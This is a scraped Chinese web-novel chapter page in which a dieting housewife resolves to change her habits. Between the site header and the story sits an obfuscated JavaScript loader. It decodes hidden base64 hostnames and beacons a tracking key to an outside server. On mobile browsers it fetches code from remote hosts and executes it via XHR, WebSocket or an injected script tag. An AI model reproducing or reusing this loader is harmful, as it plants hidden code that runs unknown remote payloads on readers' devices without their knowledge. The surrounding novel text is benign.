足迹
八零年代之追夫日常全文免费阅读温宁宋惊澜
登录
关灯
护眼
字体:

第997章 开始改变(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

以前简简单单的几下仰卧起坐,她足足折腾了好几分钟。

程天芳趴在沙发上,看着自己的三层肚皮,低低呜呜哭起来。

大哥的话又在耳边低低响起。

——生活是靠你们自己过的,是你们自己决定生活是怎么样的。

程天芳擦去泪水,坐直身板,深吸几口气,又重新做起仰卧起坐。

一会儿后,她实在受不住,休息了几分钟。

那天中午,她累得吃不下,想着两餐连续不吃会伤肠胃,只好熬一点儿稀粥。

这时,家里客厅的电话响了!

她以为是薛衡,忙奔过去接听。

不料是同事打来了,说她元宵要回老家,希望这几天能跟她换班,说她要密集型上班,然后一连放假一周多,希望程天芳帮帮忙。

程天芳想着自己在家一个人也孤单,立刻痛快答应了。

同事道谢,说元宵节回来请她去吃洋快餐。

这几年帝都兴起吃洋快餐的潮流,快餐店不多,但每一家的生意都非常火旺,小孩子和年轻人都很喜欢吃。

程天芳也是洋快餐的热衷者,平时总是惦记着吃。

薛衡不缺钱,反正他也不挑食,老婆喜欢吃,他便带她经常去吃。

同事见她愿意帮忙,高兴不已,随口就约了要请她吃快餐。

程天芳微愣,本来要应下,脑海里却想起自己的三层肚皮,还有公公婆婆劝自己的话。

公公之前见她和薛衡常去吃洋快餐,便劝他们尽量要说吃。

他解释说洋快餐的肉类多,大多数都是油炸食品,这样的食物含高热量,吃下后容易虚胖,对人的身体有很多副作用。

老人家并没有制止,只笑呵呵说偶尔吃一吃蛮不错,但长期吃就不怎么赞同。

婆婆则道:“新鲜蔬菜和水果就该多吃点儿。我们平常上市场,买的东西都是新鲜的,回家自己烹饪,这样吃起来健康又新鲜。那些洋食品堆一块儿,又是腌制,又要提前弄,肯定没法保证新鲜度。还是自己动手煮点儿东西好些。”

他们都是医生,提的建议自然都是最权威的。可她却左耳进右耳出,放纵得自己不用几个月就三层厚厚的肚皮。

程天芳笑了笑,低声:“等你回来再说,我最近胃口不怎么好,不好去吃洋快餐了。”

同事“哎呦!”一声,苦哈哈解释:“我前天去吃几个炸鸡翅,回来以后脸上就冒出来三颗痘痘!天啊!痛死我了!我老公还笑话我丑不拉几,讨厌死了!”

程天芳摸了摸脸,足足胖了一大圈,吓得她赶忙缩了回手。

“那个……等你回来,咱们再好好聊,我在做午饭呢!”

同事应好,挂了电话。

程天芳走回厨房,闻着小米粥散发的软糯香气,感觉似乎胃口恢复一些。

看来,她的生活方式真的得好好改改了。

接下来几天,她没去公公婆婆那边吃饭,躲在家里打扫卫生做运动,三餐只吃清淡的蔬菜和小米粥。

中午有太阳的时候,她就将家里的被子褥子都搬去阳台晒,自己也在阳台做运动晒太阳。